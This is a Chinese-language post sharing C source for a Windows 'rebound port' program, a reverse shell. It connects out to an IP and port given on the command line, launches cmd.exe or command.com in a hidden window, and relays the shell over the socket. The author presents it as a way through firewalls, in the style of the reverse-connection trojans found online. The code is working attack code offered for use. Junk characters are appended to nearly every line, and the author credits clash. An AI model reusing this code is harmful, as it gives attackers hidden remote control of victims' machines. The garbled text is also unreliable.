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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 cX=` Tl  
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/* ============================== 22*t%{(  
Rebound port in Windows NT I|LS_m  
By wind,2006/7 TY#1Z )%  
===============================*/ -e)bq: T  
#include nRo`O  
#include (la   
txgGL'  
#pragma comment(lib,"wsock32.lib") DRzpV6s  
 JA)gM  
void OutputShell(); [n}c}%  
SOCKET sClient; lZua"Ju  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 3jn@ [ m  
%-*vlNC)  
void main(int argc,char **argv) *K98z ?  
{ 5m bs0GL  
WSADATA stWsaData; Eyn3Vv?v  
int nRet; ~::R+Lh(  
SOCKADDR_IN stSaiClient,stSaiServer; /9yiMmr5W  
{&;b0'!Tf  
if(argc != 3) L.Lt9W2fi  
{  HOD2/  
printf("Useage:\n\rRebound DestIP DestPort\n"); tFSdi. |G=  
return; d,[KcX  
} 9D| FqU |  
R utW{wh  
WSAStartup(MAKEWORD(2,2),&stWsaData); 5\'%zZ,l  
+Va?wAnr  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); g764wl  
WR-C_1-pT  
stSaiClient.sin_family = AF_INET; FvNO*'xP  
stSaiClient.sin_port = htons(0); "TV.$s$.  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); C>u 3n^  
PRLV1o1#  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) .{;!bw  
{ "''<:K|  
printf("Bind Socket Failed!\n"); m0* B[  
return; Y5NbY02E  
} .J@[v  
IMR|a*=`c  
stSaiServer.sin_family = AF_INET; ~^euaOFU 6  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); X@Bpjg  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); RP X`2zr  
o"FX+ 17  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) xWwPrd  
{ v-gT 3kJ  
printf("Connect Error!"); e-')SB  
return; 'H'+6   
} h@~X*yLKh  
OutputShell(); e>>G4g  
} ICTtubjV"  
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void OutputShell() [s34N+vU  
{ 0B4(t6o  
char szBuff[1024]; /SKr.S61e  
SECURITY_ATTRIBUTES stSecurityAttributes; W@C56fCa  
OSVERSIONINFO stOsversionInfo; ?xo,)``  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; '=~y'nPG7  
STARTUPINFO stStartupInfo; +{%4&T<nHw  
char *szShell; 5 muW*7  
PROCESS_INFORMATION stProcessInformation; Gh|!FRK[$  
unsigned long lBytesRead; X@:fW  @  
&0eB@8{N  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);  ke#;1  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); L@_">' pR  
stSecurityAttributes.lpSecurityDescriptor = 0; &+j^{a  
stSecurityAttributes.bInheritHandle = TRUE; j>Z]J'P  
>YBpB,WND  
p<zXuocQ  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); cGc|n3(  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); iXm||?Rnx  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 7 h1"8#X  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; uBTT {GGQ  
stStartupInfo.wShowWindow = SW_HIDE; m3(T0.j0P  
stStartupInfo.hStdInput = hReadPipe; -n *>zGc  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; :]^P ^khK  
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GetVersionEx(&stOsversionInfo); 8$v7|S6 z  
WDGGT .hG  
switch(stOsversionInfo.dwPlatformId) ;F""}wzn  
{ ^!<7#kX  
case 1: 3N"&P@/0x  
szShell = "command.com"; N &[,nUd  
break; ]k: m2$le  
default: 8T)zB6ng  
szShell = "cmd.exe"; W|#ev*'F  
break; euhZ4+  
} cXY'>N  
T{<@MK%],d  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); ?66(t  
B -~&6D,  
send(sClient,szMsg,77,0); -k <9v.:  
while(1) !ix<|F5  
{ IOkC[([  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); l>UUaf|O  
if(lBytesRead) GeaDaYh#T  
{ (<3lo ZaX  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); o$ce1LO?|N  
send(sClient,szBuff,lBytesRead,0); KF_Wu}q d  
} ^A[`NYK  
else '98h<(@]  
{ 8}{o2r@  
lBytesRead=recv(sClient,szBuff,1024,0); d `kM0C  
if(lBytesRead<=0) break; _qeuVi=A  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); ij(4)=  
} HQ3`:l  
} @7s,| \  
&U~r}=  
return; !Gp3/<"Wy$  
}
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